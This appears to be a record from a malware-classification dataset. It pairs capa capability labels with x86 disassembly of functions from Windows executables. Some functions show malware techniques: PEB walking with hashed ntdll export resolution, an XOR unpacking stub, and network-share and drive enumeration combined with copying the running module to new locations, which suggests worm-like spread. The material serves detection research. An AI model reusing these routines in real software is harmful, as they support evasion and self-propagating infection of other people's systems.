joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43aefa
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 0x403cf6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x403cb0
and dword [ebp - 0x14], 0
and byte [ebp - 0x3c], 0
or dword [ebp - 0x20], 0xffffffff
mov cx, 3
mov dword [ebp - 0x28], 0xb
call sub.MSVBVM60.DLL___vbaUI1I2
mov byte [ebp - 0x3c], al
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp + 8]
call fcn.0043afe2
lea ecx, [ebp - 0x28]
call sub.MSVBVM60.DLL___vbaFreeVar
push 3
push dword [ebp - 0x14]
call sub.MSVBVM60.DLL___vbaDerefAry1
movzx ax, byte [eax]
mov cx, 0xff
sub cx, ax
jo 0x43afdd
push ecx
push 2
push dword [ebp - 0x14]
call sub.MSVBVM60.DLL___vbaDerefAry1
movzx ax, byte [eax]
mov cx, 0xff
sub cx, ax
jo 0x43afdd
push ecx
push 1
push dword [ebp - 0x14]
call sub.MSVBVM60.DLL___vbaDerefAry1
movzx ax, byte [eax]
mov cx, 0xff
sub cx, ax
jo 0x43afdd
push ecx
call sub.MSVBVM60.DLL_rtcRgb
mov dword [ebp - 0x18], eax
push 0x43afc9
jmp 0x43afbd
lea eax, [ebp - 0x14]
push eax
push 0
call sub.MSVBVM60.DLL___vbaAryDestruct
ret
call sub.MSVBVM60.DLL___vbaErrorOverflow

Function at 0x43afe2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov edx, dword [ebp + 0x14]
and dword [ebp - 0x18], 0
push esi
push edi
lea ecx, [ebp - 0x18]
call sub.MSVBVM60.DLL___vbaVarVargNofree
push eax
call sub.MSVBVM60.DLL___vbaBoolVarNull
test ax, ax
mov edi, dword [ebp + 0x10]
mov esi, dword [ebp + 0xc]
je 0x43b024
movzx eax, byte [esi]
push 1
push eax
push 1
push 0x11
push edi
push 1
push 0x80
call sub.MSVBVM60.DLL___vbaRedim
add esp, 0x1c
movzx esi, byte [esi]
cmp esi, 1
jl 0x43b09d
push ebx
mov eax, esi
sub eax, 1
jo 0x43b0a3
mov dword [ebp + 0x14], eax
fild dword [ebp + 0x14]
push ecx
push ecx
fstp qword [ebp - 8]
fld qword [ebp - 8]
fstp qword [esp]
push ecx
fld qword [0x403c00]
push ecx
fstp qword [esp]
call sub.MSVBVM60.DLL___vbaPowerR8
call sub.MSVBVM60.DLL___vbaFpI4
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 8]
cdq
idiv dword [ebp + 0x14]
mov ecx, eax
call sub.MSVBVM60.DLL___vbaUI1I4
push esi
push dword [edi]
mov bl, al
call sub.MSVBVM60.DLL___vbaDerefAry1
push esi
mov byte [eax], bl
push dword [edi]
call sub.MSVBVM60.DLL___vbaDerefAry1
movzx eax, byte [eax]
imul eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
jo 0x43b0a3
sub ecx, eax
jo 0x43b0a3
sub esi, 1
jo 0x43b0a3
cmp esi, 1
mov dword [ebp + 8], ecx
jge 0x43b02d
pop ebx
pop edi
pop esi
leave
ret 0x10
call sub.MSVBVM60.DLL___vbaErrorOverflow
Function at 0x4025b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, ecx
push edi
mov edi, 0xdeb43e61
cmp byte [ebx], 0
je 0x402652
push esi
push 0x438fdc
call fcn.0040bcf0
mov cx, word [ebx]
sub cx, ax
push 0x438fdc
movzx esi, cx
call fcn.0040bcf0
push 0x438fdc
sub esi, eax
call fcn.0040bcf0
push 0x438fdc
sub esi, eax
call fcn.0040bcf0
push 0x438fdc
sub esi, eax
call fcn.0040bcf0
push 0x438fdc
sub esi, eax
call fcn.0040bcf0
push 0x438fdc
sub esi, eax
call fcn.0040bcf0
push 0x438fdc
add esi, eax
call fcn.0040bcf0
add eax, esi
lea ebx, [ebx + 1]
push 0x438fdc
movzx esi, ax
call fcn.0040bcf0
mov ecx, edi
add esp, 0x24
ror ecx, 8
add eax, ecx
add eax, esi
xor edi, eax
cmp byte [ebx], 0
jne 0x4025c3
pop esi
mov eax, edi
pop edi
pop ebx
ret
Function at 0x402660
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x44a7c0], 0
je 0x402678
mov eax, 1
mov esp, ebp
pop ebp
ret
mov eax, dword fs:[0x30]
push esi
xor esi, esi
push edi
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0x18]
test eax, eax
je 0x4027ea
mov edi, eax
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
test eax, eax
je 0x4026c6
mov ecx, dword [eax + edi + 0xc]
lea esi, [eax + edi]
mov eax, dword [ecx + edi]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x4026c6
mov eax, dword [ecx + edi + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x4026cf
mov edx, dword [edx]
mov eax, dword [edx + 0x18]
test eax, eax
jne 0x402693
test esi, esi
je 0x4027ea
mov eax, dword [esi + 0x1c]
mov edx, dword [esi + 0x18]
add eax, edi
mov ecx, dword [esi + 0x20]
mov dword [ebp - 0x10], eax
add ecx, edi
mov eax, dword [esi + 0x24]
xor esi, esi
add eax, edi
mov dword [ebp - 4], edx
lea eax, [eax + edx*2]
add eax, 0xfffffffe
mov dword [ebp - 8], eax
lea eax, [edx - 1]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xc], eax
mov ecx, dword [eax]
mov edx, 0x775a
add ecx, edi
cmp word [ecx], dx
mov edx, dword [ebp - 4]
jne 0x402744
call fcn.004025b0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov dword [esi*8 + 0x44a7c4], eax
movzx eax, word [ecx]
mov eax, dword [edx + eax*4]
mov dword [esi*8 + 0x44a7c8], eax
inc esi
cmp esi, 0x1f4
je 0x40275b
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
jmp 0x402747
mov ecx, dword [ebp - 8]
dec edx
sub eax, 4
sub ecx, 2
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
test edx, edx
jne 0x402703
lea eax, [esi - 1]
mov dword [0x44a7c0], esi
xor edi, edi
test eax, eax
je 0x4027df
nop word [eax + eax]
mov ecx, esi
xor eax, eax
sub ecx, edi
sub ecx, 1
je 0x4027d7
nop dword [eax + eax]
mov edx, dword [eax*8 + 0x44a7c8]
mov dword [ebp - 0x10], edx
cmp edx, dword [eax*8 + 0x44a7d0]
jbe 0x4027cd
mov ecx, dword [eax*8 + 0x44a7cc]
mov edx, dword [eax*8 + 0x44a7c4]
mov dword [eax*8 + 0x44a7c4], ecx
mov ecx, dword [eax*8 + 0x44a7d0]
mov dword [eax*8 + 0x44a7c8], ecx
mov ecx, dword [ebp - 0x10]
mov dword [eax*8 + 0x44a7cc], edx
mov dword [eax*8 + 0x44a7d0], ecx
mov esi, dword [0x44a7c0]
mov ecx, esi
inc eax
sub ecx, edi
dec ecx
cmp eax, ecx
jb 0x402780
inc edi
lea eax, [esi - 1]
cmp edi, eax
jb 0x402770
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x418e01
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418c3f

Function at 0x41ad91
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041a5fb

Function at 0x41ad9c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041a836
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
xor ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
or eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
or eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
or eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x403d8c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 4
push 5
lea eax, [ebp - 0x14]
push 2
push eax
call fcn.00403624
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push esi
push 0
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
call fcn.00403dfa
push esi
call fcn.00407460
pop ecx
pop ecx
dec eax
js 0x403de8
cmp byte [eax + esi], 0x2e
jne 0x403ddf
add eax, esi
push str.tY_Y
push eax
call fcn.00407370
pop ecx
pop ecx
pop esi
leave
ret

Function at 0x403dfa
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x403e11
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
xor esi, esi
push eax
call fcn.00407370
lea eax, [ebp - 0x208]
push eax
call fcn.00407460
add esp, 0xc
test eax, eax
je 0x403e57
cmp byte [ebp + eax - 0x209], 0x5c
lea eax, [ebp + eax - 0x209]
jne 0x403e57
and byte [eax], 0
push 1
pop esi
lea eax, [ebp - 0x208]
push str..
push eax
call fcn.00407380
pop ecx
lea eax, [ebp - 0x348]
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403f5d
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00407370
pop ecx
test esi, esi
pop ecx
jne 0x403eb1
lea eax, [ebp - 0x104]
push 0x40e044
push eax
call fcn.00407380
pop ecx
pop ecx
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00407380
test byte [ebp - 0x348], 0x10
pop ecx
pop ecx
je 0x403f2a
lea eax, [ebp - 0x31c]
push 0x40e0ac
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
je 0x403f40
lea eax, [ebp - 0x31c]
push 0x40e0a8
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 1
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00403e11
add esp, 0xc
jmp 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 0
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f56
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403e89
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x4048cb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e88], 0
jne 0x404906
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x4047fd
push eax
push closesocket
call fcn.00404562
add esp, 0x18
jmp 0x404942
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a78
call fcn.00407370
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x404769
push eax
push closesocket
call fcn.004045e0
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e8c], eax
jne 0x404a23
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push 0x40f769
push eax
call fcn.00407370
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407460
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c5cc
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407370
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.00407380
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push str.tY_Y
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a00
inc esi
cmp esi, 0xa
jl 0x404967
lea eax, [ebp - 0x18]
push eax
push 0x491974
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
push 0x491b7c
call fcn.00407370
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b78
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bb3
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bb3
cmp byte [ecx + 1], 0x5a
jne 0x404bb3
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bb3
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4058b1
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405967
lea eax, [ebp - 0x324]
push 0
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004074db
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1d8
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push str.tY_Y
push eax
call fcn.00407380
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407196
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x40596b
call fcn.00401808
xor eax, eax
jmp 0x4059bf
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040780b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046b3
pop ecx
test eax, eax
pop ecx
je 0x4059bd
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405e9a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x40f949
call fcn.00403434
pop ecx
pop ecx
push eax
push 0x40f244
push closesocket
call fcn.004044c0
lea eax, [ebp - 0x10c]
push eax
call fcn.00405c5a
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.004076ee
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f44
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f44
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e42
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405efe
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406688
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x439c
call fcn.00407b80
lea eax, [ebp + 0xc]
push edi
push eax
or dword [ebp - 4], 0xffffffff
push dword [ebp + 8]
mov dword [ebp - 8], 0x3e80
push 3
push 1
pop edi
push edi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetOpenEnumA
test eax, eax
jne 0x4067fe
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x439c]
push eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call sub.MPR.dll_WNetEnumResourceA
xor ebx, ebx
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x4067f5
push esi
lea esi, [ebp - 0x4388]
test byte [esi - 8], 2
lea eax, [esi - 0x14]
je 0x406707
push dword [ebp + 0x10]
push 2
push eax
call fcn.00406688
add esp, 0xc
jmp 0x4067e2
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x210]
push eax
push dword [esi]
call fcn.00404a85
add esp, 0xc
test eax, eax
jne 0x4067e2
push dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
call fcn.0040644e
pop ecx
pop ecx
push edi
push str.tY_Y
push ebx
call fcn.00404687
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x51c]
push eax
call fcn.00404156
add esp, 0x10
cmp dword [ebp + 0x10], ebx
je 0x4067e2
push edi
lea eax, [ebp - 0x51c]
push ebx
push eax
lea eax, [ebp - 0x314]
push ebx
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0040280f
add esp, 0x18
push edi
push 0x40fd9e
push ebx
call fcn.00404687
pop ecx
and eax, edi
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404156
push dword [esi]
lea eax, [ebp - 0x10c]
push eax
call fcn.00407370
lea eax, [ebp - 0x10c]
push 0x40e044
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.00407380
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x10c]
push 0xffffffffffffffff
push eax
call fcn.00406a68
add esp, 0x38
inc dword [ebp + 8]
add esi, 0x20
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x4066eb
pop esi
push dword [ebp + 0xc]
call sub.MPR.dll_WNetCloseEnum
pop ebx
pop edi
leave
ret
Function at 0x406a68
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21d4
call fcn.00407b80
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406a9c
push dword [ebp + 8]
call fcn.004046f6
test eax, eax
pop ecx
jne 0x406bda
mov edi, 0x40fd50
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ac0
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, str.tY_Y
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ae5
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406bda
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1ec0
lea eax, [ebp - 0x21d4]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [ebp - 0x21d4]
mov byte [ebp - 0x11c0], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054b3
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407370
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407380
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050c1
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406d75
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406d87
cmp word [ebp - 0xe], 6
jne 0x406d87
and dword [0x491e94], 0
cmp ax, 7
mov dword [0x491e98], ebx
jne 0x406dc0
mov dword [0x491e94], ebx
cmp ax, bx
jne 0x406dcb
mov dword [0x491e94], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d1c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406dcd
push 0x1b7740
call edi
call fcn.00406d5e
push 0xffffffffffffffff
call edi
jmp 0x406d87
Function at 0x408f61
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
mov eax, dword [0x4956a0]
xor eax, esp
mov dword [esp + 0x258], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp dword [edi + 0x247c], ebx
jne 0x408f94
cmp dword [edi + 0x58], ebx
je 0x408f94
xor ecx, ecx
jmp 0x408f97
xor ecx, ecx
inc ecx
cmp dword [ebp + 0xc], ebx
jne 0x408fda
mov eax, dword [edi + 0x2478]
cmp eax, ebx
je 0x408faa
cmp ecx, ebx
je 0x408fda
mov edx, dword [edi]
push eax
push ecx
push edi
call dword [edx + 0x10]
mov esi, eax
cmp esi, ebx
jne 0x408fce
push 1
call fcn.0040e455
pop ecx
test eax, eax
je 0x408fda
mov eax, 0x80070204
jmp 0x409108
call fcn.00422b83
mov eax, esi
jmp 0x409108
cmp dword [edi + 0x247c], ebx
je 0x40900d
push 0x104
lea eax, [esp + 0x15c]
push eax
push 0x80
push dword [edi + 0x20]
call dword [sym.imp.user32.dll_LoadStringA]
mov esi, dword [edi + 0x24]
lea eax, [esp + 0x158]
push eax
call fcn.0040b82d
lea edx, [esp + 0x50]
mov ecx, edi
call fcn.00422b83
mov dword [esp + 0xc], eax
cmp eax, ebx
jl 0x4090f2
mov esi, str.Download_Status:_Download_Complete
call fcn.00422b83
mov eax, dword [edi]
lea ecx, [esp + 0x50]
push ecx
push edi
call dword [eax + 0x1c]
mov dword [esp + 0xc], eax
cmp eax, ebx
jl 0x409067
push dword [ebp + 0xc]
mov eax, dword [edi]
push 1
lea ecx, [esp + 0x58]
push ecx
push edi
call dword [eax + 0x18]
mov dword [esp + 0xc], eax
cmp eax, ebx
jge 0x409104
mov esi, str.Download_Status:_Verification_of_Downloaded_File_Signature_Failed
jmp 0x4090ff
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov esi, dword [sym.imp.kernel32.dll_GetModuleHandleA]
push 0xf
pop eax
push ebx
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], 0x10
call esi
push 0x74
push ecx
push ebx
mov edi, eax
call esi
push 0x72
mov ecx, eax
lea edx, [esp + 0x1c]
call fcn.0042c409
pop ecx
mov ecx, edi
mov edx, eax
call fcn.0042c495
call fcn.0042c52b
push ebx
push 1
lea ecx, [esp + 0x34]
call fcn.00403353
push ebx
push 1
lea ecx, [esp + 0x18]
call fcn.00403353
push 0xfffffffffffffffb
call fcn.00422b83
pop ecx
call fcn.00422b83
mov esi, str.Download_Status:_Verification_of_Downloaded_File_Version_Failed
jmp 0x4090ff
push 0xffffffffffffffc3
call fcn.00422b83
pop ecx
mov esi, str.Download_Status:_Download_Failed
call fcn.00422b83
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x264]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00449589
mov esp, ebp
pop ebp
ret 8